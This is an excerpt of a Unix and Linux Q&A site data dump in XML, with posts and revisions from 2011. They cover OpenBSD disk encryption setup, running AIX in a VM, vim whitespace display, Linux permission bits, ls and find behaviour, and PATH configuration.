XTS.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;	OpenBSD encrypts swap by default. So in this example wd0b is encrypted. &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;	If you installed OpenBSD from a bootable USB stick that is identified as sd0 (as I did in this example)&lt;br&gt;&#xD;&#xA;	then you'll need to change sd1 to sd0 in /etc/fstab or things won't work when you remove the USB stick.&lt;br&gt;&#xD;&#xA;	The opposite may be true if you add an external USB disk later. This is a known issue that OpenBSD&lt;br&gt;&#xD;&#xA;	developers are working on. For now, if there is a device change at boot, just edit /etc/fstab to fix it:&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;&#xD;&#xA;		ed /etc/fstab&#xD;&#xA;		,s/sd1/sd0/g&#xD;&#xA;		w&#xD;&#xA;		q&#xD;&#xA;&#xD;&#xA;In this example, there is a small 128MB clear-text partition on the disk. This is where / is mounted and where&lt;br&gt;&#xD;&#xA;the kernel and other basic software resides. This is not a huge concern. However, if the thought of that space&lt;br&gt;&#xD;&#xA;bothers you, you might do something like this to prevent data from being accidentally written to this space:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	cd / &amp;&amp; dd if=/dev/arandom of=filler bs=1m count=80&#xD;&#xA;&lt;br&gt;&#xD;&#xA;	Understand that these directories are all clear-text:&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;&#xD;&#xA;		/&#xD;&#xA;		/bin&#xD;&#xA;		/dev&#xD;&#xA;		/etc&#xD;&#xA;		/mnt&#xD;&#xA;		/root&#xD;&#xA;		/sbin&#xD;&#xA;		/stand&#xD;&#xA;&#xD;&#xA;	Good practice, and should have occurred after bioctl command in step 1 but the installer has issues with this:&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;&#xD;&#xA;		# dd if=/dev/zero of=/dev/rsd1c bs=1m count=1&#xD;&#xA;&#xD;&#xA;	Use of the bioctl crypto discipline is currently considered experimental, but in my testing works well for day to day use.&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;	&lt;br&gt;&#xD;&#xA;Copyright 2009 16Systems&lt;br&gt;" />
  <row Id="25021" PostHistoryTypeId="2" PostId="10409" RevisionGUID="c288b2ef-ee89-4d40-9cfa-47c8d8f99922" CreationDate="2011-03-31T22:56:29.010" UserId="885" Text="The best way to learn AIX would be to obtain an account on a machine that's running it. Really, part of what sets AIX apart from other unices is that it's designed for high-end systems (with lots of processors, fancy virtualization capabilities and so on). You won't learn as much by running it in a virtual machine.&#xD;&#xA;&#xD;&#xA;If you really want to run AIX on your laptop, you'll have to get an old &#xD;&#xA;[PS/2 version](http://en.wikipedia.org/wiki/IBM_AIX#IBM_PS.2F2_releases) that runs on an x86 CPU. I don't know if AIX will run on VirtualBox's emulated hardware (PS/2 is peculiar, it's the same problem as running OSX in a VM), but there are hints that it might ([user claiming to run an AIX guest](http://forums.virtualbox.org/viewtopic.php?f=6&amp;t=26496&amp;start=0)). It seems that [AIX can run in Virtual PC](http://en.wikipedia.org/wiki/File:Aixps2.gif).&#xD;&#xA;&#xD;&#xA;[Qemu](http://wiki.qemu.org/Main_Page) can emulate [PowerPC](http://en.wikipedia.org/wiki/QEMU#PowerPC) processors, so it might be able to run [a recent, PowerPC version of AIX](https://secure.wikimedia.org/wikipedia/en/wiki/IBM_AIX#POWER.2FPowerPC_releases). But [don't get your hopes up](http://www.claunia.com/qemu/objectManager.php?sClass=application&amp;iId=3).&#xD;&#xA;&#xD;&#xA;In summary, getting AIX in a VM would be costly (it's not free software), difficult, and not very useful. Try and get an account on some big iron, or get a second-hand system (if you can afford it).&#xD;&#xA;" />
  <row Id="25022" PostHistoryTypeId="8" PostId="10400" RevisionGUID="8a46401c-af89-4374-8b67-2c73660b4cb8" CreationDate="2011-03-31T22:57:03.557" UserId="73" Comment="Rollback to [83ac8b7f-91d8-4bd2-9e73-9157c79ec35a]" Text="http://16s.us/OpenBSD/softraid.txt" />
  <row Id="25023" PostHistoryTypeId="5" PostId="10398" RevisionGUID="8b1aabe0-1d12-4d45-8c39-48c2929f5981" CreationDate="2011-03-31T23:01:49.153" UserId="73" Comment="deleted 34 characters in body" Text="It's ok that the various linux distributions use gpg to verify e.g. new packages downloaded with http. But what happens if the server that holds the packages gets hacked? OK, they need a new gpg key, but how do they guarantee that the new gpg keys are the valid gpg keys? There is no valid gpg key until the new one gets downloaded to the client, so there is a window when the packages [containing the new gpg keys] are not &quot;validated&quot; with gpg keys. Is there any method to give the new gpg keys to the clients in an &quot;authoritative&quot;/secure way?" />
  <row Id="25024" PostHistoryTypeId="5" PostId="10408" RevisionGUID="101a09a4-3c45-44f8-841f-d72391514267" CreationDate="2011-03-31T23:02:46.267" UserId="73" Comment="deleted 59 characters in body" Text="I need to learn about [AIX](https://secure.wikimedia.org/wikipedia/en/wiki/IBM_AIX), and I only have a laptop with Fedora 14/VirtualBox on it. Is there any chance that I could run an AIX guest in my VirtualBox? &#xD;&#xA;&#xD;&#xA;My laptop has an Intel(R) Core(TM)2 Duo CPU T7100 @ 1.80GHz, and I read that it only runs on RISC architecture. So there's no way I can run it on my laptop?&#xD;&#xA;" />
  <row Id="25025" PostHistoryTypeId="2" PostId="10410" RevisionGUID="1d80db5d-9d54-442e-bc1b-72ceee685a6b" CreationDate="2011-03-31T23:09:10.513" UserId="6207" Text="Is there a way I can see spaces and tabs wonderfully visualized in vim, like I can in emacs by toggling whitespace-mode?" />
  <row Id="25026" PostHistoryTypeId="1" PostId="10410" RevisionGUID="1d80db5d-9d54-442e-bc1b-72ceee685a6b" CreationDate="2011-03-31T23:09:10.513" UserId="6207" Text="Is there an equivalent to whitespace-mode in emacs for vim?" />
  <row Id="25027" PostHistoryTypeId="3" PostId="10410" RevisionGUID="1d80db5d-9d54-442e-bc1b-72ceee685a6b" CreationDate="2011-03-31T23:09:10.513" UserId="6207" Text="évimàéemacsà" />
  <row Id="25028" PostHistoryTypeId="6" PostId="10410" RevisionGUID="aff5319d-3065-403d-8fff-d2f9f6cb74ed" CreationDate="2011-03-31T23:17:30.503" UserId="885" Comment="edited tags" Text="évimà" />
  <row Id="25029" PostHistoryTypeId="2" PostId="10411" RevisionGUID="bf25ebc3-0ce5-46eb-8918-7866b56064a6" CreationDate="2011-03-31T23:39:45.557" UserId="6208" Text="`:set list`&#xD;&#xA;&#xD;&#xA;This will show you whitespace characters like tabs and EoLs. It won't show spaces, however; to my knowledge that's not possible (except for non-breaking and trailing spaces), although in a monospace font any &quot;space&quot; that's not a tab would obviously be a space.&#xD;&#xA;&#xD;&#xA;You can change the characters vim uses with the `listchars` option; type `:help listchars` to learn more about how to use that and what your options are.&#xD;&#xA;&#xD;&#xA;This is what I use in my .vimrc file:&#xD;&#xA;&lt;pre&gt;&quot; Set some nice character listings, then activate list&#xD;&#xA;execute 'set listchars+=tab:\ ' . nr2char(187)&#xD;&#xA;execute 'set listchars+=eol:' . nr2char(183)&#xD;&#xA;set list&lt;/pre&gt;" />
  <row Id="25030" PostHistoryTypeId="25" PostId="10408" RevisionGUID="97eba959-ef99-4c7f-816d-ad5a9c9dc27a" CreationDate="2011-04-01T00:00:20.580" Comment="http://twitter.com/#!/StackUnix/status/53607592009797632" />
  <row Id="25031" PostHistoryTypeId="2" PostId="10412" RevisionGUID="c1ee8f8f-0eb9-41e4-87c9-3050120a90a3" CreationDate="2011-04-01T00:39:48.250" UserId="4671" Text="This *is* annoying, I agree. If you don't mind modifying your rpm, I suggest going into the rpm source and finding out where the BuildRoot is deleted, disable that line (it is probably only one line), and recompile. The other thing I would suggest is filing a wishlist bug to restore the old behaviour, which I believe was configurable.&#xD;&#xA;&#xD;&#xA;Question: in what version of rpm did this behavior change?" />
  <row Id="25032" PostHistoryTypeId="2" PostId="10413" RevisionGUID="e2b770f1-25ed-4949-9bcc-df56a5e1b21d" CreationDate="2011-04-01T00:55:21.293" UserId="2511" Text="Have you tried using `rpmbuild -bi` in testing, so that the you get everything built up through the `%install` phase? That should show you what's going on without automatically cleaning afterwards.&#xD;&#xA;&#xD;&#xA;Then when you're satisfied, build as normal." />
  <row Id="25033" PostHistoryTypeId="2" PostId="10414" RevisionGUID="2ef373d6-c97a-49c8-b144-8c857c95151b" CreationDate="2011-04-01T01:08:12.920" UserId="5354" Text="How many bits on a linux file system is taken up for the permissions of a file?" />
  <row Id="25034" PostHistoryTypeId="1" PostId="10414" RevisionGUID="2ef373d6-c97a-49c8-b144-8c857c95151b" CreationDate="2011-04-01T01:08:12.920" UserId="5354" Text="How many bits is the access flags of a file?" />
  <row Id="25035" PostHistoryTypeId="3" PostId="10414" RevisionGUID="2ef373d6-c97a-49c8-b144-8c857c95151b" CreationDate="2011-04-01T01:08:12.920" UserId="5354" Text="élinuxàéfilesystemsàéfilesàéext3àéext2à" />
  <row Id="25036" PostHistoryTypeId="2" PostId="10415" RevisionGUID="bbe9a1e1-0024-4789-8d69-96edace72a42" CreationDate="2011-04-01T01:47:12.377" UserId="4856" Text="Information about files are stored in a data structure called an inode. There is a field in this structure for the mode, which contains the permissions. This field on my system is an unsigned short which is 2 bytes and 16 bits. &#xD;&#xA;&#xD;&#xA;Take a look at fs.h in the Linux source to see for yourself." />
  <row Id="25037" PostHistoryTypeId="2" PostId="10416" RevisionGUID="8b4ce8ea-d1b1-4f2b-8396-c8a08b407507" CreationDate="2011-04-01T01:57:23.243" UserId="5325" Text="Which permissions?  Basic permissions fit in 16 bits; ext2 uses 32 bits, plus another 32 bits for file flags (`chattr(1)`); then POSIX ACLs use variable space in addition.  See `/usr/include/linux/ext2_fs.h` for details.  (ext3 and ext4 build on ext2 and mostly use the same structure.)" />
  <row Id="25038" PostHistoryTypeId="2" PostId="10417" RevisionGUID="c594f731-229e-4929-8e22-1b070d9319f8" CreationDate="2011-04-01T02:12:43.153" UserId="5495" Text="How shared-mime-info provide MIME inforamtion for upper layer libraries like libgio.so? Via a C API or just the pattern files?&#xD;&#xA;&#xD;&#xA;I want to make clear how libgio &quot;g_file_info_get_content_type()&quot; make use of share-mime-info to get the MIME type of a file. could anybody tell me the stack diagram?&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;Amanda" />
  <row Id="25039" PostHistoryTypeId="1" PostId="10417" RevisionGUID="c594f731-229e-4929-8e22-1b070d9319f8" CreationDate="2011-04-01T02:12:43.153" UserId="5495" Text="How shared-mime-info provide MIME inforamtion for upper layer libraries like libgio.so?" />
  <row Id="25040" PostHistoryTypeId="3" PostId="10417" RevisionGUID="c594f731-229e-4929-8e22-1b070d9319f8" CreationDate="2011-04-01T02:12:43.153" UserId="5495" Text="élinuxàémimeötypesà" />
  <row Id="25041" PostHistoryTypeId="2" PostId="10418" RevisionGUID="7d536c2a-9f3d-4f2b-ab13-d015bb400749" CreationDate="2011-04-01T02:28:18.003" UserId="6209" Text="I've been asked to estimate the power consumption of the servers I run for my laboratory. I thought and I'd ask if there was some handy linux commandline to get the power consumption of the server. It looks like powertop is useful for minimizing power consumption but it does not seem to print that X server us using Y watts.&#xD;&#xA;&#xD;&#xA;Is there something buried in the /proc system that would help me out?" />
  <row Id="25042" PostHistoryTypeId="1" PostId="10418" RevisionGUID="7d536c2a-9f3d-4f2b-ab13-d015bb400749" CreationDate="2011-04-01T02:28:18.003" UserId="6209" Text="How to find power draw in watts?" />
  <row Id="25043" PostHistoryTypeId="3" PostId="10418" RevisionGUID="7d536c2a-9f3d-4f2b-ab13-d015bb400749" CreationDate="2011-04-01T02:28:18.003" UserId="6209" Text="élinuxàépowerömanagementà" />
  <row Id="25044" PostHistoryTypeId="2" PostId="10419" RevisionGUID="163eecae-7308-48c7-bd10-285ab3d52ea4" CreationDate="2011-04-01T02:30:03.480" UserId="3169" Text="To add to the other answers:&#xD;&#xA;&#xD;&#xA;Traditional Unix permissions are broken down into:&#xD;&#xA;&#xD;&#xA;  * read (`r`)&#xD;&#xA;  * write (`w`)&#xD;&#xA;  * execute file/access directory (`x`)&#xD;&#xA;&#xD;&#xA;Each of those is stored as a bit, where 1 means permitted and 0 means not permitted.&#xD;&#xA;&#xD;&#xA;For example, read only access, typically written `r--`, is stored as binary `100`, or octal `4`.&#xD;&#xA;&#xD;&#xA;There are 3 sets of those permissions, which determines the allowed access for:&#xD;&#xA;&#xD;&#xA;  * the owner of the file&#xD;&#xA;  * the group of the file&#xD;&#xA;  * all other users&#xD;&#xA;&#xD;&#xA;They are all stored together in the same variable, e.g. `rw-r-----`, meaning read-write for the owner, read-only for the group, and no access for others, is stored as `110100000` binary, `640` octal.&#xD;&#xA;&#xD;&#xA;So that makes 9 bits.&#xD;&#xA;&#xD;&#xA;Then, there are 3 other special bits:&#xD;&#xA;&#xD;&#xA;  * setuid&#xD;&#xA;  * setgid&#xD;&#xA;  * sticky&#xD;&#xA;&#xD;&#xA;See `man 1 chmod` for details of those.&#xD;&#xA;&#xD;&#xA;And finally, the file's type is stored using 4 bits, e.g. whether it is a regular file, or a directory, or a pipe, or a device, or whatever.&#xD;&#xA;&#xD;&#xA;These are all stored together in the inode, and together it makes 16 bits." />
  <row Id="25045" PostHistoryTypeId="2" PostId="10420" RevisionGUID="c9789785-f6dd-4bc7-b7c5-88d64978f90d" CreationDate="2011-04-01T02:31:20.687" UserId="5325" Text="I don't think most servers introspect their power consumption, at least not in a form that Linux can access.  You might have better luck querying the servers' LOM modules (if any), but I usually get this kind of information from remote power strips." />
  <row Id="25046" PostHistoryTypeId="2" PostId="10421" RevisionGUID="f68639ed-2f3a-4231-9d4d-5ffc47882eff" CreationDate="2011-04-01T02:31:26.233" UserId="5270" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I think I may be overlooking a relatively fundamental point regarding shell. Output from the **ls** command by default separates output with newlines, but the shell displays the output on a single line.&#xD;&#xA;&#xD;&#xA;Can anyone explain this to me? I had always presumed that the output was simply separated by spaces, but now that I see the output separated by newlines, I would expect the output to be displaying on separate lines.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    cpoweradm@debian:~/lpi103-4$ ls text*&#xD;&#xA;    text1  text2  text3&#xD;&#xA;&#xD;&#xA;**od** shows that the output is separated by newlines:&#xD;&#xA;&#xD;&#xA;    cpoweradm@debian:~/lpi103-4$ ls text* | od -c&#xD;&#xA;    0000000   t   e   x   t   1  \n   t   e   x   t   2  \n   t   e   x   t&#xD;&#xA;    0000020   3  \n&#xD;&#xA;    0000022&#xD;&#xA;&#xD;&#xA;If newlines are present, then why doesn't the output display as:&#xD;&#xA;&#xD;&#xA;    text1 &#xD;&#xA;    text2&#xD;&#xA;    text3" />
  <row Id="25047" PostHistoryTypeId="1" PostId="10421" RevisionGUID="f68639ed-2f3a-4231-9d4d-5ffc47882eff" CreationDate="2011-04-01T02:31:26.233" UserId="5270" Text="Output from ls has newlines but displays on a single line. Why?" />
  <row Id="25048" PostHistoryTypeId="3" PostId="10421" RevisionGUID="f68639ed-2f3a-4231-9d4d-5ffc47882eff" CreationDate="2011-04-01T02:31:26.233" UserId="5270" Text="ébashàéterminalàélsàéodà" />
  <row Id="25049" PostHistoryTypeId="2" PostId="10422" RevisionGUID="635a8660-8369-4271-b4c3-27401cd5ec8d" CreationDate="2011-04-01T02:36:48.607" UserId="3169" Text="When you pipe the output, `ls` acts differently.&#xD;&#xA;&#xD;&#xA;To prove this, try running&#xD;&#xA;&#xD;&#xA;    ls&#xD;&#xA;&#xD;&#xA;and then&#xD;&#xA;&#xD;&#xA;    ls | less&#xD;&#xA;&#xD;&#xA;(or, if you have aliases that change `ls` behavior, change `ls` above to `/bin/ls`).&#xD;&#xA;&#xD;&#xA;If you want the output to be one file per line, you have to run&#xD;&#xA;&#xD;&#xA;    ls -1&#xD;&#xA;&#xD;&#xA;(`-1` is the number one)&#xD;&#xA;&#xD;&#xA;Or, you can force `ls | less` to look like `ls` by running `ls -C` or `ls -x`." />
  <row Id="25050" PostHistoryTypeId="5" PostId="10422" RevisionGUID="61359716-dd5b-4130-8e22-f6b7f6f4c18f" CreationDate="2011-04-01T02:43:27.793" UserId="3169" Comment="added 391 characters in body; added 20 characters in body" Text="When you pipe the output, `ls` acts differently.&#xD;&#xA;&#xD;&#xA;This fact is hidden away in the [info documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; If standard output is a terminal, the output is in columns (sorted vertically) and control characters are output as question marks; otherwise, the output is listed one per line and control characters are output as-is.&#xD;&#xA;&#xD;&#xA;To prove it, try running&#xD;&#xA;&#xD;&#xA;    ls&#xD;&#xA;&#xD;&#xA;and then&#xD;&#xA;&#xD;&#xA;    ls | less&#xD;&#xA;&#xD;&#xA;This means that if you want the output to be guaranteed to be one file per line, regardless of whether it is being piped or redirected, you have to run&#xD;&#xA;&#xD;&#xA;    ls -1&#xD;&#xA;&#xD;&#xA;(`-1` is the number one)&#xD;&#xA;&#xD;&#xA;Or, you can force `ls | less` to look like `ls` by running&#xD;&#xA;&#xD;&#xA;    ls -C&#xD;&#xA;&#xD;&#xA;(`-C` is a capital C, case sensitive)&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/ls-invocation.html#ls-invocation" />
  <row Id="25054" PostHistoryTypeId="25" PostId="10421" RevisionGUID="ca52a526-27cf-40b0-b3a2-d5975f81eff0" CreationDate="2011-04-01T03:00:22.223" Comment="http://twitter.com/#!/StackUnix/status/53652896805433344" />
  <row Id="25055" PostHistoryTypeId="2" PostId="10424" RevisionGUID="e88f2a60-2535-4008-94ad-3177792bbf77" CreationDate="2011-04-01T03:01:22.370" UserId="4520" Text="Computers generally don't track the current they are drawing.  It is common that there are voltage sensors that are readable.  &#xD;&#xA;&#xD;&#xA;Power consumption can vary widely over time depending on workload.  CPUs now throttle back when load is low.  Disks will shutdown when idle.  Tools like powertop will track processes which trigger increases in power consumption.  Other tools will aggressively tune down power consumption. &#xD;&#xA;&#xD;&#xA;UPSs care about power consumption and often have accessible data.   &#xD;&#xA;&#xD;&#xA;The manufacturers specs will give you some idea of power consumption, but reconfiguration of hardware can change power consumption.  This is probably a good place to start and estimate.  Adding new devices or replacing existing ones may alter the power load.&#xD;&#xA;&#xD;&#xA;There are devices like Kill-A-Watt that can be used to measure power consumption.  However, they require disconnecting the device so that the power runs through the device. &#xD;&#xA;&#xD;&#xA;You may want to invest in or borrow a current meter which works by clipping around the wire.  This would allow you to calculate volt-amps.  This is typically different (higher) than the wattage for servers." />
  <row Id="25056" PostHistoryTypeId="2" PostId="10425" RevisionGUID="bec4e795-3f39-46c4-b911-f79989f36d6c" CreationDate="2011-04-01T03:02:04.007" UserId="6210" Text="How do I pipe the results of a find through a sed to xform the stream, and then use that transformed stream as one of two arguments to a script? IE:&#xD;&#xA;&#xD;&#xA;&lt;b&gt;find&lt;/b&gt; turns up file1.tiff (among others)   &#xD;&#xA;&lt;b&gt;sed&lt;/b&gt; transforms file1.tiff --&gt; file1.jpg  &#xD;&#xA;a command is executed using both of these arguments: &lt;b&gt;convert file1.tiff file1.jpg&lt;/b&gt;  &#xD;&#xA;&#xD;&#xA;I've tried this a number of ways and can't get it.  Here's one attempt that gives the flavor:&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -exec echo &quot;Processing {}&quot; \; -exec convert {} `echo {} | sed s/tiff/jpg/` \;&#xD;&#xA;&#xD;&#xA;I should just give up and write a Python script to do each of these pieces separately, but I'm finally trying to learn UNIX tools and now am obsessed.  Help!" />
  <row Id="25057" PostHistoryTypeId="1" PostId="10425" RevisionGUID="bec4e795-3f39-46c4-b911-f79989f36d6c" CreationDate="2011-04-01T03:02:04.007" UserId="6210" Text="find arcana: can't get pipe to work in -exec line" />
  <row Id="25058" PostHistoryTypeId="3" PostId="10425" RevisionGUID="bec4e795-3f39-46c4-b911-f79989f36d6c" CreationDate="2011-04-01T03:02:04.007" UserId="6210" Text="éscriptingàéfindà" />
  <row Id="25059" PostHistoryTypeId="2" PostId="10426" RevisionGUID="bbc7b73f-99e3-45ad-9bff-8b818e4fcc16" CreationDate="2011-04-01T03:12:12.850" UserId="3169" Text="I'm not sure you can have a pipe inside `-exec`.  Even `find -exec echo {} \| sed s/tiff/jpg \;` doesn't seem to work.&#xD;&#xA;&#xD;&#xA;So why not just use a normal pipeline, e.g.&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;$(echo &quot;{}&quot; | sed 's/tiff/jpg')&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;        xargs -0 -I {} convert &quot;{}&quot; &quot;$(echo &quot;{}&quot; | sed 's/tiff/jpg')&quot;&#xD;&#xA;&#xD;&#xA;Also, you should anchor your match, e.g.&#xD;&#xA;&#xD;&#xA;    sed 's/tiff$/jpg'&#xD;&#xA;&#xD;&#xA;otherwise if you have weird file names like `tiff_pg_.tiff`, the wrong thing will happen." />
  <row Id="25060" PostHistoryTypeId="5" PostId="10426" RevisionGUID="112bd3f1-b35c-421d-8091-bab89d944aa2" CreationDate="2011-04-01T03:18:20.600" UserId="3169" Comment="added 278 characters in body; added 4 characters in body" Text="I'm not sure you can have a pipe inside `-exec`.  Even `find -exec echo {} \| sed s/tiff/jpg \;` doesn't seem to work.&#xD;&#xA;&#xD;&#xA;So why not just use a normal pipeline, e.g.&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;$(echo &quot;$filename&quot; | sed 's/tiff$/jpg/')&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;        xargs -0 -I {} convert &quot;{}&quot; &quot;$(echo &quot;{}&quot; | sed 's/tiff$/jpg/')&quot;&#xD;&#xA;&#xD;&#xA;Also, you should anchor your match, e.g.&#xD;&#xA;&#xD;&#xA;    sed 's/tiff$/jpg'&#xD;&#xA;&#xD;&#xA;otherwise if you have weird file names like `tiff_pg_.tiff`, the wrong thing will happen.&#xD;&#xA;&#xD;&#xA;Or for that matter, if you're using bash, you don't even need sed:&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;${%filename/tiff/jpg}&quot;&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="25061" PostHistoryTypeId="5" PostId="10426" RevisionGUID="3511c4db-4709-4e1f-80f7-ebbba48849d4" CreationDate="2011-04-01T03:27:28.973" UserId="3169" Comment="added 294 characters in body; added 17 characters in body" Text="I'm not sure you can have a pipe inside `-exec`.  Even `find -exec echo {} \| sed s/tiff/jpg \;` doesn't seem to work.&#xD;&#xA;&#xD;&#xA;So why not just use a normal pipeline, e.g.&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;$(echo &quot;$filename&quot; | sed 's/tiff$/jpg/')&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;        xargs -0 -I {} convert &quot;{}&quot; &quot;$(echo &quot;{}&quot; | sed 's/tiff$/jpg/')&quot;&#xD;&#xA;&#xD;&#xA;Also, you should anchor your match, e.g.&#xD;&#xA;&#xD;&#xA;    sed 's/tiff$/jpg'&#xD;&#xA;&#xD;&#xA;otherwise if you have weird file names like `tiff_pg_.tiff`, the wrong thing will happen.&#xD;&#xA;&#xD;&#xA;Or for that matter, if you're using bash, you don't even need sed:&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;${filename/%tiff/jpg}&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Or if all that's too hard to read, why not make a simple script, e.g.&#xD;&#xA;&#xD;&#xA;**convert_tiff_to_jpg**:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo &quot;Processing $1&quot;&#xD;&#xA;    convert &quot;$1&quot; &quot;${1/%tiff/jpg}&quot;&#xD;&#xA;&#xD;&#xA;and call it using `find -exec` like you had intended:&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -exec convert_tiff_to_jpg {} \;" />
  <row Id="25062" PostHistoryTypeId="5" PostId="10426" RevisionGUID="76f0fedb-ca65-481b-be2e-f24a3a994402" CreationDate="2011-04-01T03:47:04.317" UserId="3169" Comment="deleted 36 characters in body" Text="I'm not sure you can have a pipe inside `-exec`.  `find -exec echo {} \| sed s/tiff/jpg \;` doesn't seem to work.&#xD;&#xA;&#xD;&#xA;If think your best option is to make a script to do the conversion, e.g.&#xD;&#xA;&#xD;&#xA;**convert_tiff_to_jpg**:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo &quot;Processing $1&quot;&#xD;&#xA;    convert &quot;$1&quot; &quot;${1/%tiff/jpg}&quot;&#xD;&#xA;&#xD;&#xA;and call it using `find -exec` like you had intended:&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -exec convert_tiff_to_jpg {} \;&#xD;&#xA;&#xD;&#xA;There are a few ways to do it using `find -print0 | xargs -0`, but they are all quite ugly:&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;$(echo &quot;$filename&quot; | sed 's/tiff$/jpg/')&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;    while IFS= read -d $'\0' -r filename; do&#xD;&#xA;        echo &quot;Processing $filename&quot;&#xD;&#xA;        convert &quot;$filename&quot; &quot;${filename/%tiff/jpg}&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    find ./out -regex &quot;.*_p[bg]_.*tiff&quot; -print0 |&#xD;&#xA;        xargs -0 -I FILE bash -c 'F=&quot;FILE&quot;; echo &quot;$F&quot; &quot;${F/%tiff/jpg}&quot;'&#xD;&#xA;&#xD;&#xA;Note that I changed `s/tiff/jpg` to `s/tiff$/jpg` so that if `tiff` appears anywhere other than the end of the file name, it is not changed." />
  <row Id="25063" PostHistoryTypeId="2" PostId="10427" RevisionGUID="f370e53f-857e-440f-851b-fbae50f11e3b" CreationDate="2011-04-01T04:06:54.523" UserId="3169" Text="Two alternate suggestions:&#xD;&#xA;&#xD;&#xA;1. On Red Hat-like systems, you can drop a file in `/etc/profile.d/myprogram.sh`  &#xD;&#xA;   e.g. containing `PATH=$PATH:/opt/myprogram`&#xD;&#xA;2. On many systems, you could append your `PATH=...` line to `/etc/environment`" />
  <row Id="25064" PostHistoryTypeId="5" PostId="10427" RevisionGUID="257d7391-ee32-4d32-b852-b14a992e581c" CreationDate="2011-04-01T04:11:59.623" UserId="3169" Comment="added 146 characters in body" Text="Two alternate suggestions:&#xD;&#xA;&#xD;&#xA;1. On Red Hat-like systems, you can drop a file in `/etc/profile.d/myprogram.sh`  &#xD;&#xA;   e.g. containing `PATH=$PATH:/opt/myprogram`&#xD;&#xA;2. On many systems, you could append your `PATH=...` line to `/etc/environment`&#xD;&#xA;&#xD;&#xA;But I think installing your program to `/opt/myprogram` and putting a single script to launch it in `/usr/local/bin` might be the lesser evil." />
  <row Id="25066" PostHistoryTypeId="2" PostId="10428" RevisionGUID="e080096b-8fc3-49fb-9dd7-5bfbcb237d6b" CreationDate="2011-04-01T05:07:04.120" UserId="6211" Text="I have a development server, which is only accessible from 127.0.0.1:8000, not 192.168.1.x:8000. As a quick hack, is there a way to set up something to listen on another port (say, 8001) so that from the local network I could connect 192.168.1.x:8001 and it would tunnel the traffic between the client and 127.0.0.1:8000?" />
  <row Id="25067" PostHistoryTypeId="1" PostId="10428" RevisionGUID="e080096b-8fc3-49fb-9dd7-5bfbcb237d6b" CreationDate="2011-04-01T05:07:04.120" UserId="6211" Text="Simple way to create a tunnel from one local port to another?" />
  <row Id="25068" PostHistoryTypeId="3" PostId="10428" RevisionGUID="e080096b-8fc3-49fb-9dd7-5bfbcb237d6b" CreationDate="2011-04-01T05:07:04.120" UserId="6211" Text="énetworkingàéportsàétunnelsàéportöforwardingà" />
